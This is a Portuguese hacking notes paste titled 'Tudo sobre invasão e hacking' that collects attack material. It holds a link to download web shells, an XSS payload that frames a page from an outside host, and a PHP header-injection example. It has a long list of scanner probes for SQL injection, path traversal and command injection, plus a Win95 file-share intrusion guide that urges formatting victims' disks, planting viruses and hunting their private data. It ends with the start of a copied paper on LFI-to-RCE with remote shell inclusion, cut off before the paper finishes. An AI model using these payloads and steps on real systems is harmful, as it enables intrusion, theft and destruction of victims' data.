· 10 years ago · Apr 18, 2016, 08:00 PM
1 Tudo sobre invasão e hacking v. 1.0
2
3 =-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
4
5 .: Up by §ÜP®ËM3 (Daniel/Nerd) :.
6
7 =-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
8
9@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
10@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@;'+#+';+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
11@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+;'+;###+';+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
12@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;''+++####++';:#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
13@@@@@@@@@@@@@@@@@@@@@@@@@@@@';''+#+#####+'':,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
14@@@@@@@@@@@@@@@@@@@@@@@##@@:;'+++#+######+';;::@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
15@@@@@@@@@@@@@@@@@@@@@@####;;''++#########+''';,'#@@#@@@@@@@@@@@@@@@@@@@@@@@@
16@@@@@@@@@@@@@@@@@@@@@@####;'''+++#+#@@@###+++;:,+####@@@@@@@@@@@@@@@@@@@@@@@
17@@@@@@@@@@@@@@@@@@@@@@#@@';'''+++###@@@####+++;,,@@@@@@@@@@@@@@@@@@@@@@@@@@@
18@@@@@@@@@@@@@@@@@@@@@@@@@:;;'+++++#@@@@##++++';:.@@@@@@@@@@@@@@@@@@@@@@@@@@@
19@@@@@@@@@@@@@@@@@@@@@@@@#:;'+++'+#@@@@@@#++##':::#@@@@@@@@@@@@@@@@@@@@@@@@@@
20@@@@@@@@@@@@@@@@@@@@@@@@::'''+''#@#@@@@@@#+#+'::,.@@@@@@@@@@@@@@@@@@@@@@@@@@
21@@@@@@@@@@@@@@@@@@@@@#@@::'++++'++#####+#@#+''::,,;@@@@@@@@@@@@@@@@@@@@@@@@@
22@@@@@@@@@@@@@@@@@@@@@@@':;;:+#++@@@@@@@@@@##++;,,:,@@@@@@@@@@@@@@@@@@@@@@@@@
23@@@@@@@@@@@@@@@@@@@@#@@:;':++#+#@@@@@@@@@@@@##+,.,,@@@@@@@@@@@@@@@@@@@@@@@@@
24@@@@@@@@@@@@@@@@@@@@@@#:,'++#@@@@@@@@@@@@@@@@@@@+,.,@@@@@@@@@@@@@@@@@@@@@@@@
25@@@@@@@@@@@@@@@@@@@###;:;##@@@@@@@@@@@@@@@@@@@@@@@,.'@##@@@@@@@@@@@@@@@@@@@@
26@@@@@@@@@@@@@@@@@+###::#@@@@@@@@@@@@@@@@@@@@@@@@@@@'.+####@@@@@@@@@@@@@@@@@@
27@@@@@@@@@@@@@@@@@###:#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#.+####@@@@@@@@@@@@@@@@@
28@@@@@@@@@@@@@@@@###'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@',####@@@@@@@@@@@@@@@@@
29@@@@@@@@@@@@@@@+###'##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+,####@@@@@@@@@@@@@@@@
30@@@@@@@@@@@@@@###:##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#.####@@@@@@@@@@@@@@@
31@@@@@@@@@@@@@@##;##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+###@@@@@@@@@@@@@@@
32@@@@@@@@@@@@@##'+#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;###@@@@@@@@@@@@@@
33@@@@@@@@@@@@####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#####@@@@@@@@@@@@@
34@@@@@@@@@@@#@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@###@@@@@@@@@@@@@
35@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+@@@@@@@@@@@@@@@@@
36@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@ §ÜP®ËM3 @@@@@@@@@@@@@@+++.#@@@@@@@@@@@@@@
37@@@@@@@@@@@@@@#+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+##'.;;+#@@@@@@@@@@@
38@@@@@@@@@##'#'###@@@@@@@@@@@(Daniel Nerd)@@@@@@@@@@@@+'+''';,##@@@@@@@@
39@@@@@@@@##';+#+###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#;#+++'','##@@@@@@@
40@@@@@@@##;'''+#+#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+##+''';.,##@@@@@@
41@@@@@@##;;;+#'#@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+@@#'+++:,,'##@@@@@
42@@@@@#@#;++'#@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@#+;,;'###@@@@
43@@@@@@@#:'##'#@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@+';+++@@@@@@
44@@@@@@@''''###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+''##,@@@@@@
45@@@@@@@'+''###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+''##:@@#@@@
46@@@@@@#:+#++##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###++##;###@@@
47@@@@@@#;'++###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#####+##',####@@
48@@@###+;'''++##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#####+';,####@@
49@@@###:''+++####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##++++';;####@@
50@@@###:''+++++###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###@@@@##+++':'####@
51@@@##+;''++#+####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##++#+'':,##++@
52@@@##;;'+++####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@###@###+++':.###+@
53@@@##:;;'+###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+##+';;:.####@
54@@###:;;##@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#++++++;:,####@
55@@@@@;;'#++#@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##+'+',,####@
56@@@@@;;'#@@@+##@###+####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@####@@##+';:,#@@@@
57
58============================================================================
59
60Download de shell (exploits):
61http://www.w0rms.com/shell/
62
63==============================
64
65Código JavaScript injection em pages com vulne JS (forms):
66
67<noscript>alert('0wn3d');</noscript><script style="top:0px; left:0px; position:absolute">
68function confirmation() {var answer = confirm("0wn3d")
69if (answer){alert("0wn3d")
70else{alert("0wn3d")}}
71document.write('<iframe width=100% height=100% frameborder=0 src=http://nerddownloads.host-ed.me/own3d.html></iframe>')
72</script><body onBlur="confirmation()">
73
74
75==============================
76
77SomeCustomInjectedHeader
78
79http://security.stackexchange.com/questions/36616/what-kind-of-security-injection-are-these-traces-of-sql-javascript-or-otherwi
80
81
82http://www.acunetix.com/
83
84https://www.youtube.com/watch?v=_Eig354FyDY
85
86=======================
87
88Código:
89 > <?php
90header('Location: '.$_GET['url']);
91print_r($_COOKIE);
92?>
93
94http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo
95
96
97usa o tamperdata para mudar o COOKIE assim fazer a injection ! Emoticon grin
98
99===================
100
101comandos:
102
103Parent Directory
104SomeCustomInjectedHeader:injected_by_wvs/
105SomeCustomInjectedHeader:injected_by_wvs_thumbs/
106cat /
107SomeCustomInjectedHeader:injected_by_wvs/
108SomeCustomInjectedHeader:injected_by_wvs_thumbs/
109SomeCustomInjectedHeader:injected_by_wvs/
110SomeCustomInjectedHeader:injected_by_wvs_thumbs/
111!(()&&!|*|*|/
112!(()&&!|*|*|_thumbs/
113${100335 99146}/
114${100335 99146}_thumbs/
115${99001 100029}/
116${99001 100029}_thumbs/
117${99435 100004}/
118${99435 100004}_thumbs/
119${99711 99769}/
120${99711 99769}_thumbs/
121${@print(md5(acunetix_wvs_security_test))}/
122${@print(md5(acunetix_wvs_security_test))}\\/
123${@print(md5(acunetix_wvs_security_test))}\\_thumbs/
124${@print(md5(acunetix_wvs_security_test))}_thumbs/
125&cat /
126&dir/
127&dir_thumbs/
128&n952351=v961232/
129&n952351=v961232_thumbs/
130)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))/
131)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))_thumbs/
132)/
133)_thumbs/
134-1 or 54-52 = 2/
135-1 or 54-52 = 2_thumbs/
136-1 or 54=0/
137-1 or 54=0_thumbs/
138-1 or 54=54/
139-1 or 54=54_thumbs/
140-1 or 73-71 = 2/
141-1 or 73-71 = 2_thumbs/
142-1 or 73=0/
143-1 or 73=0_thumbs/
144-1 or 73=73/
145-1 or 73=73_thumbs/
146-1\" or 66-64 = \"2/
147-1\" or 66-64 = \"2_thumbs/
148-1\" or 95-93 = \"2/
149-1\" or 95-93 = \"2_thumbs/
150-1\" or \"66\"=\"0/
151-1\" or \"66\"=\"0_thumbs/
152-1\" or \"66\"=\"66/
153-1\" or \"66\"=\"66_thumbs/
154-1\" or \"95\"=\"0/
155-1\" or \"95\"=\"0_thumbs/
156-1\" or \"95\"=\"95/
157-1\" or \"95\"=\"95_thumbs/
158-1\' or 104-102 = \'2/
159-1\' or 104-102 = \'2_thumbs/
160-1\' or 83-81 = \'2/
161-1\' or 83-81 = \'2_thumbs/
162-1\' or \'104\'=\'0/
163-1\' or \'104\'=\'0_thumbs/
164-1\' or \'104\'=\'104/
165-1\' or \'104\'=\'104_thumbs/
166-1\' or \'83\'=\'0/
167-1\' or \'83\'=\'0_thumbs/
168-1\' or \'83\'=\'83/
169-1\' or \'83\'=\'83_thumbs/
170................windowswin.ini/
171................windowswin.ini_thumbs/
172......etc/
173......windows/
174..À¯..À¯..À¯..À¯..À¯..À¯..À¯..À¯etc/
175..À¯/
176..À¯_thumbs/
1771&n914704=v920653/
1781/
1791\'\"/
1801\'\"_thumbs/
1811e309/
1821e309_thumbs/
1831some_inexistent_file_with_long_name/
1841À\0xa7À¢/
1851À\0xa7À¢_thumbs/
1861À\\0xa7À¢_thumbs/
187268435455/
188268435455_thumbs/
189;cat /
190;print(md5(acunetix_wvs_security_test));/
191;print(md5(acunetix_wvs_security_test));_thumbs/
192<!--/
193<!--_thumbs/
194<?xml version=\"1.0\" encoding=\"utf-8\"?> <!DOCTYPE acunetix [ <!ENTITY acunetixent SYSTEM \"http:/
195@@CzcGE/
196@@CzcGE_thumbs/
197@@OtjDk/
198@@OtjDk_thumbs/
199@@VvRXK/
200@@VvRXK_thumbs/
201@@mafgh/
202@@mafgh_thumbs/
203JyI=/
204JyI=_thumbs/
205Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n/
206Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n_thumbs/
207\" response.write(9561897*9510882) \"/
208\" response.write(9561897*9510882) \"_thumbs/
209\" response.write(9645971*9471156) \"/
210\" response.write(9645971*9471156) \"_thumbs/
211\" response.write(9801198*9951353) \"/
212\" response.write(9801198*9951353) \"_thumbs/
213\" response.write(9980175*9747638) \"/
214\" response.write(9980175*9747638) \"_thumbs/
215\"&cat /
216\"&dir&\"/
217\"&dir&\"_thumbs/
218\";cat /
219\";print(md5(acunetix_wvs_security_test));$a=\"/
220\";print(md5(acunetix_wvs_security_test));$a=\"_thumbs/
221\"|\"ld/
222\"|\"ld_thumbs/
223\"|dir/
224\"|dir_thumbs/
225\' response.write(9561897*9510882) \'/
226\' response.write(9561897*9510882) \'_thumbs/
227\' response.write(9645971*9471156) \'/
228\' response.write(9645971*9471156) \'_thumbs/
229\' response.write(9801198*9951353) \'/
230\' response.write(9801198*9951353) \'_thumbs/
231\' response.write(9980175*9747638) \'/
232\' response.write(9980175*9747638) \'_thumbs/
233\'&cat /
234\'&dir&\'/
235\'&dir&\'_thumbs/
236\';cat /
237\';print(md5(acunetix_wvs_security_test));$a=\'/
238\';print(md5(acunetix_wvs_security_test));$a=\'_thumbs/
239\'\"()&%1<ScRiPt >prompt(900343)</
240\'\"()&%1<ScRiPt >prompt(911616)</
241\'\"()&%1<ScRiPt >prompt(953067)</
242\'\"()&%1<ScRiPt >prompt(973726)</
243\'\"()/
244\'\"()_thumbs/
245\'\"/
246\'\"\\\'\\\");|]*{ <\0>/
247\'\"\\\'\\\");|]*{ <\0>_thumbs/
248\'\"_thumbs/
249\'|\'ld/
250\'|\'ld_thumbs/
251\'|dir/
252\'|dir_thumbs/
253\\/
254\\\\\\\\\\\\\\\\\\etc/
255\\\\\\\\\\\\\\\\\\windows/
256\\\\\\\\\\\\\\etc/
257\\\\\\\\windows\\win.ini/
258\\\\\\\\windows\\win.ini_thumbs/
259\\_thumbs/
260^(#$!@#$)(()))******/
261^(#$!@#$)(()))******_thumbs/
262_thumbs/
263`cat /
264acunetix_wvs_invalid_filename/
265acunetix_wvs_invalid_filename_thumbs/
266boot.ini/
267boot.ini_thumbs/
268cat/
269dir_thumbs/
270etc/
271file:/
272galeriadefotos/
273http:/
274invalidetc/
275ld_thumbs/
276mvfjm1j4d1nin2zhoe0/
277response.write(9175787*9091542/
278response.write(9410745*9304978/
279response.write(9561897*9510882)/
280response.write(9561897*9510882)_thumbs/
281response.write(9645971*9471156)/
282response.write(9645971*9471156)_thumbs/
283response.write(9801198*9951353)/
284response.write(9801198*9951353)_\\\'_thumbs/
285response.write(9801198*9951353)_thumbs/
286response.write(9980175*9747638)/
287response.write(9980175*9747638)_thumbs/
288tinybrowser.php/
289tinybrowser.php\0/
290tinybrowser.php\0_thumbs/
291tinybrowser.php_thumbs/
292unexisting/
293windows/
294windows\\\\win.ini_thumbs/
295www.acunetix.tst/
296www.acunetix.tst_thumbs/
297|cat /
298|dir/
299|dir_thumbs/
300||cat /
301¿\'¿\"/
302¿\'¿\"_thumbs/
303À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯windowsÀ¯win.ini/
304À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯windowsÀ¯win.ini_thumbs/
305ãh/
306ãh_thumbs/
307ð\'\'ð\"\"/
308ð\'\'ð\"\"_thumbs/
309
310-------
311
312Página dos hackers:
313https://www.facebook.com/AnarquiaFantasma
314
315-------
316
317Estudar depois esses métodos:
318
319text injection, blind sql, dir bypas
320
321-------
322
323Descobrir qual linguagem um programa foi feito:
324Exeinfo PE ver.0.0.3.6
325
326-------
327
328Invadindo pelo IP da vitÃma
329
330
331A invasão pôr IP pode ser feita de varias maneiras, aqui vai um jeito fácil
332de invadir sem ter q ficar fazendo mil coisas. Aqui vc aprenderá um meio de
333invadir pôr IP que só é garantido se vc e a pessoa a ser invadida estiverem
334o com o compartilhamento de dados ligado, e estiver entrando pela rede dial-up
335com a rede microsoft instalada.
336Se vc não esta com a rede microsoft instalada e não sabe invadir, ai vai:
337Primeiro vá em meu computador, painel de controle, rede. Quando vc entrar na
338rede vai abrir uma caixa de comandos, veja lá se a rede microsoft esta
339instalada, se estiver instalada vá em logon principal da rede e escolha
340cliente para a rede microsoft , caso não esteja instalada, va em adicionar,
341na caixa va em cliente, depois em microsoft e escolha cliente p/ rede
342microsoft. Caso vc não ache esses nomes va em com disco precure lá.
343
344
345Depois de instalado volte para o meu computador
346, vá acesso a rede dial-up e clique com o botão direito
347na conexão q vc faz. La vá em propiedades, tipo do s
348ervidor, configuração TCP/IP, e especificar o IP.
349Lá vc poe o Ip do cara q vc vai invadir. Dai é só
350reconectar, ir em explorando do windows, ambiente de rede, e toda a rede. Assim q vc clicar em toda a rede o CPU do cara aparecera la.
351
352Lembresse q isso só dará certo se vc conectar via dial-up pelo Win95, ppp. Caso contrario não funcionara, e q também só dá certo se o compartilhamento de dados e impressão estiver ligado. É lógico q há maneiras de burlar isso, mas é perciso manjar de alguma lingugem. (vc pode fazer uma linha de comando no windows q vai até o compartilhamento e liga e passar esse programa para o cara dizendo q é outra coisa, o unico problema é q ele tem q reiniciar o CPU, mas ha modos para mudar isso também)
353
354--------
355
356# Invasão por IP 2 #
357
358Introdução:
359
360Ninguém está seguro na rede. Todo o provedor decente que se preze, te oferece
361uma conexão PPP para você. Eh muito difÃcil achar um provedor que não
362ofereça. Isso pode ser bom ou ruim dependendo das suas intenções. A conexão
363PPP é essencial para invadir por IP.
364Bem, para invadir por IP você precisa estar conectado na Internet e a
365VÃTIMA também (dãããã...), você precisa da conexão PPP e ter o IP da pessoa
366que quer invadir. Esse texto irá ensinar a invadir pelo Microbost Ruindows
36795 ou 98, se você não o tiver, procure outro texto que explique com outra
368plataforma!
369
370
371Prós & Contras de uma invasão por IP:
372
373Você tem controle de todos os Drives do PC da VÃtima.
374Os drives da vÃtima podem aparecer como seus drives no Explorer.
375A VÃtima tem que ter o compartilhamento de arquivos instalado.
376
377
378Hora da Invasão:
379
380Renomeie o seu arquivo C:\WINDOWS\SYSTEM\VNBT.386 para qualquer outra porra.
381Além de ser necessário para invadir por IP, seu PC fica PROTEGIDO.
382Certifique-se que você tem o programa C:\WINDOWS\NBTSTAT.EXE . Toda a
383instalação comum do Windows 95 tem esse programa. Verifique antes, se você
384possui os drivers clientes para redes Microsoft. Caso não estejam instalados,
385instale-os através do Painel de Controle, no Ãcone Redes.
386
387
388Para você poder encontrar outros computadores compartilhados, você deve
389configurar WINS e LMHOSTS. O WINS é utilizado para localizar os computadores
390com IP fixo. O LMHOSTS, é acionado automaticamente na procura de computadores
391que possuem IP dinâmicos. Configurar essas opções é simples. Vá ao Painel de
392Controle e abra Rede. Verifique as propriedades do protocolo TCP/IP. Alà você
393encontrará a opção para ativar a resolução WINS.
394Pegue o IP da vÃtima na hora da invasão pois o IP dessa pessoa pode
395mudar. A minha dica é o ICQ pois além de saber se a pessoa está conectada,
396com o IP sniffer você pode pegar o IP dela. Vamos tomar como 200.300.40.50 o
397IP da vÃtima.
398Digite no Ms-Dos: nbtstat -a 200.300.40.50. Se aparecer "Host not found"
399esqueça. O PC não tem compartilhamento de arquivos ou é um número inexistente.
400
401Caso apareça um monte de nomes esquisitos com um "<03>" antes, você deve pegar
402o nome do negócio que estiver com <03> atrás do nome.
403Entre no arquivo C:\WINDOWS\LMHOSTS.SAM e coloque na nele (Embaixo dos
404outros endereços IP): [IP da vÃtima] [NetBios]. O NetBios é aquele nome
405esquisito aparece na mesma linha do IP do cara. Lembre-se: Seja rápido.
406Nunca se sabe quando a VÃTIMA se desconecta....
407Mapeie os drives do PC da vÃtima para virtualmente fazerem parte de seu PC.
408No Explorer, vá em Ferramentas-Mapear unidade de Rede. Coloque uma letra de
409Drive qualquer e no endereço coloque algo como: //200.300.40.50. A parte de
410mapear o PC da vÃtima é meramente opicional. Mas mapeando o PC da vÃtima fica
411bem melhor.....
412Agora no Menu Iniciar, vá em Executar e digite: //200.300.40.50 e ponha
413"OK". Pronto, você estará invadindo por IP....
414
415
416Hora da Diversão:
417
418Hackers e crackers tem objetivos de aprendizagem comuns mas "intenções"
419diferentes. Você decide, você escolhe o final. Se você for hacker ou cracker,
420leia a sua instrução correspondente.
421
422
423Para Hackers:
424
425
426Parabéns! Você acaba de entrar em um PC e já deve saber mais sobre invasão.
427Não toque em nada, não mude nada. Em algum caso de extrema urgência,
428faça essa invasão sem problema. Continue se informando e continue aprendendo.
429Caso ache novidades para invasão por favor envie um e-mail para mim.
430
431
432
433Para Crackers:
434
435He He He He..... Agora que você invadiu FAÇA A FESTA antes que a vÃtima
436desconecte. Como os drives dela estão no seu Windows Explorer, agora é moleza!
437Que tal colocar um vÃrus de macro no word? Que tal soltar um vÃrus mortal lá
438dentro? Que tal clicar com o botão direito do mouse no winchester da vÃtima
439e selecionar a opção FORMATAR DISCO???? Seja criativo e boa diversão. Se
440você está invadindo uma pessoa conhecida, antes vasculhe e tente achar
441infomações confidenciais para sacaneá-lo depois! Qualquer dica para invasão
442por favor envie-me um e-mail.
443
444
445Resumidamente:
446
447Alegria de uns, tristeza de outros, na verdade, aqueles que utilizam a rede Dial-Up do Win95 para sua conecção com a internet podem estar correndo sérios riscos a não ser, é claro, que assim conectam-se propositalmente, com intenções "diversas". Utilizar-se de uma conecção PPP do Win95 num provedor de acesso, significa estar disponibilizando seu computador a todos os usuário da net. Mesmo sem o compartilhamento de arquivos, existem diversas ferramentas que permitem a outra pessoa conectar-se ao seu computador caso você esteja utilizando esse tipo de conecção. conecte-se à Internet utilizando a rede Dial-Up do Win95. Se o seu provedor não disponibilizar uma conecção do tipo PPP, estas dicas não funcionarão. Verifique antes, se você possui os drivers clientes para redes Microsoft. Caso não estejam instalados, instale-os através do Painel de Controle, no Ãcone Redes. Verifique também se o compartilhamento de Arquivos e Impressoras está instalado. Se estiver, você estará sujeito à que outra pessoa conecte-se ao seu computador simplesmente sabendo seu IP. Se bem que, para aqueles que já sabem, existem mil maneiras diferentes de se "burlar" a fraquinha segurança do Win95. Para você poder encontrar outros computadores compartilhados, você deve configurar WINS e LMHOSTS. O WINS é utilizado para localizar os computadores com IP fixo. O LMHOSTS, é acionado automaticamente na procura de computadores que possuem IP dinâmicos.ATENÇÃO : TODOS ESSES ARQUIVOS SE ENCONTRAM NO C:\windows\ ok! Configurar essas opções é simples. Vá ao Painel de Controle e abra Rede. Verifique as propriedades do protocolo TCP/IP. Alà você encontrará a opção para ativar a resolução WINS. No caso de você não conhecer nenhum servidor WINS, utilize 204.118.34.6 como primário e 204.118.34.11 como secundário. Esses servidores são dos USA, e gratuÃtos. Caso queira outros endereços, utilize um dos mecanismos de busca na Internet. Para configurar o LMHOSTS, você precisa criar um arquivo texto simples, utilizando-se atá mesmo o Bloco de Notas do Windows. O arquivo criado deve chamar-se LMHOSTS. É nesse arquivo que ficarão os endereços de IP e os nomes dos computadores que você terá acesso. Para localizar um determinado computador, você digita o seu número de IP e a seguir seu NetBios, na mesma linha, separados por um espaço. Se você executar o programa NBSTSTAT, seguido da opção -N, você obterá essa lista, com o nome e o IP de seu computador sempre sendo o primeiro da lista, seguido das outras máquinas disponÃveis, tudo numa janela DOS. Através do Explorer você poderá ver os computadores disponÃveis na rede,dos quais você ainda poderá utilizar os discos mapeando-os, o que os tornará unidades de seu computador.
448
449
450--------------------------
451
452Exploits Database
453Home
454Exploits
455Shellcode
456Papers
457Google Hacking Database
458Submit
459Search
460LFI to RCE Exploit with Perl Script
461Archived security papers and articles in various languages.
462 |=--------------------------------------------------------------------=|
463 |=-------------=[ LFI to RCE Exploit with Perl Script ]=--------------=|
464 |=------------------------=[ 7 December 2008 ]=-----------------------=|
465 |=----------------------=[ By CWH Underground ]=--------------------=|
466 |=--------------------------------------------------------------------=|
467
468
469######
470 Info
471######
472
473Title : LFI to RCE Exploit with Perl Script
474Author : ZeQ3uL && JabAv0C
475Team : CWH Underground [www.milw0rm.com/author/1456]
476Website : cwh.citec.us / www.citec.us
477Date : 2008-12-07
478
479
480##########
481 Contents
482##########
483
484 [0x00] - Introduction
485
486 [0x01] - File Inclusion (RFI/LFI)
487
488 [0x01a] - How the attack works for Remote File Inclusion [RFI]
489 [0x01b] - How the attack works for Local File Inclusion [LFI]
490 [0x01c] - Vulnerable PHP Function for File Inclusion
491
492 [0x02] - Local File Inclusion To Remote Command Execution [LFI <> RCE]
493
494 [0x02a] - LFI <> RCE via Apache Log Injection
495 [0x02b] - LFI <> RCE via Process Environ Injection
496 [0x02c] - LFI <> RCE via Other Files
497
498 [0x03] - Fundamental of Perl Library for Exploit Website
499
500 [0x03a] - Introduction to Socket
501 [0x03b] - Introduction to Library for WWW in Perl (LWP)
502 [0x03c] - Condition to use Socket or LWP
503
504 [0x04] - Writing LFI <> RCE Exploit with Perl Script
505
506 [0x04a] - Perl Exploit to Injecting code into Target
507 [0x04b] - Perl Exploit to Executing injected code on Target
508 [0x04c] - LFI <> RCE Complete Exploit [Use Logfile Injection]
509
510 [0x05] - How to protect File Inclusion
511
512 [0x06] - References
513
514 [0x07] - Greetz To
515
516
517#######################
518 [0x00] - Introduction
519#######################
520
521 Welcome reader, this paper is a short attempt at documenting a practical technique
522we have been working on. This papers will guide about technique that allows the attackers
523(us) gaining access into the process of exploiting a website via File Inclusion (RFI/LFI)
524and enlight the way to create own exploit script with perl
525
526 This paper is divided into 7 sections but only from section 0x01 to 0x05
527are about technical information.
528
529 Section 0x01, we talk about general concept of attacking via File Inclusion.
530Section 0x02, we give a detail of how to execute arbitrary command via Local File Inclusion
531in each approach. Section 0x03, we offer rudimentary commands to create HTTP transaction
532with perl and some examples of how to use them. Section 0x04, we assemble knowleadge from
533Section 0x01 to 0x03 in order to create own exploit to execute command on target system
534via Local File Inclusion. The last, section 0x05, we suggest some methods to protect
535your system from File Inclusion Attacking.
536
537
538###################################
539 [0x01] - File Inclusion (RFI/LFI)
540###################################
541
542 In a File Inclusion, Attackers run their own code on a vulnerable website.
543The attack involves importing code into a program by taking advantage of the unenforced
544and unchecked assumptions the program makes about its inputs. If the attacker can include
545their own malicious code on a web page, it is possible to "convince" a PHP script to include
546a remote file instead of a presumably trusted file from the local file system.
547
548
549 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
550 [0x01a] - How the attack works for Remote File Inclusion [RFI]
551 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
552
553 Remote File Inclusion, known as RFI, is the technique to attack website by
554 injecting php script into target website. It's including "External" files (PHP Shell)
555 in a victim website.If attacker exploits successfully, he can execute arbitary command
556 on victim web server.
557
558 For instance, a piece of vulnerable PHP code would look like this:
559
560 [code]----------------------------------------------------------------------------------
561 <?php
562 $file =$_GET['page']; //The page we wish to display
563 include($file .".php"); <-- Vulnerable !!
564 ?>
565 [End code]---------------------------------------------------------------------------------
566
567 From Code, It does not perform any checks on the content of the $page variable so it is easy
568 to putting our file (PHP Shell) into webpage like this
569
570 [URL] http://www.hackme.com/index.php?page=http://www.cwh.org/c99.php? and then
571
572 [code]---------------------------------------------------------------------------------
573 <?php
574 $file ="http://www.cwh.org/c99.php?"; //$_GET['page'];
575 include($file .".php"); //include http://www.cwh.org/C99.php?.php
576 ?>
577 [End code]---------------------------------------------------------------------------------
578
579 ** We put "?" at the end of the URL, This makes the script fetch the intended file,
580 with the appended string as a parameter (which is ignored by the attackers script) **
581
582
583 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
584 [0x01b] - How the attack works for Local File Inclusion [LFI]
585 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
586
587 LFI is a Local File Inclusion. It originates from including "internal" files
588 in a victim website. In many situations, It is necessary to include content from
589 local file. But if you use it carelessly, it may lead to LFI vulnerabilty. This method
590 is often used in Linux to get "/etc/passwd" and sometimes "/etc/shadow".
591
592 For instance, a piece of vulnerable PHP code would look like this:
593
594 [URL] http://www.hackme.com/index.php?template=cwh
595
596 [code #1]-------------------------------------------------------------------------------
597 <?php
598 $template =$_GET['template'];
599 include("/".$template .".php"); <-- Vulnerable !!
600 ?>
601 [End code]------------------------------------------------------------------------------
602
603 From Code, Attacker can assign template to be "../../../../etc/passwd%00".
604 It causes the attacker to read a content from /etc/passwd.
605
606 [URL] http://www.hackme.com/index.php?template=../../../../etc/passwd%00
607
608 [code #1]-------------------------------------------------------------------------------
609 <?php
610 $template =$_GET['template'];
611 include("/../../../../etc/passwd%00.php"); <-- Directory Traversal to LFI
612 ?>
613 [End code]------------------------------------------------------------------------------
614
615 ** Notice %00 (Null CHAR) will ignore everything that comes after %00 (.php suffix) **
616 ** Notice ../../../ will traversal path to root and goto /etc/passwd **
617
618 [code #2]-------------------------------------------------------------------------------
619 if(grado($HTTP_COOKIE_VARS['cwh_user'],$HTTP_COOKIE_VARS['cwh_pass']) == "admin")
620 {
621 topmenu();
622 include("manage/admin/main.php");
623 foot();
624 } else
625 {
626 topmenu();
627 include("manage/".$HTTP_COOKIE_VARS['cwh_user']."/main.php");
628 foot();
629 }
630 [End code]------------------------------------------------------------------------------
631
632 From Code, Attacker can exploit via JaSiLDBG
633 (Javascript Inline Debugger - www.milw0rm.com/papers/147)
634
635 PoC Exploit: javascript:document.cookie = "cwh_user=../../../../etc/passwd%00; path=/";
636
637
638 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
639 [0x01c] - Vulnerable PHP Function for File Inclusion
640 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
641
642 File Inclusion (RFI/LFI) mostly occurs from some functions that developers
643 do not properly check user supplied data.
644
645 Example PHP function:
646
647 include()
648 include_once()
649 require()
650 require_once()
651 fopen()
652
653
654#######################################################################
655 [0x02] - Local File Inclusion To Remote Command Execution [LFI<>RCE]
656#######################################################################
657
658 In this section, we mention about the concept of using LFI in another way besides reading files.
659Normally, We use LFI to read following files:
660
661/etc/passwd
662/etc/shadow
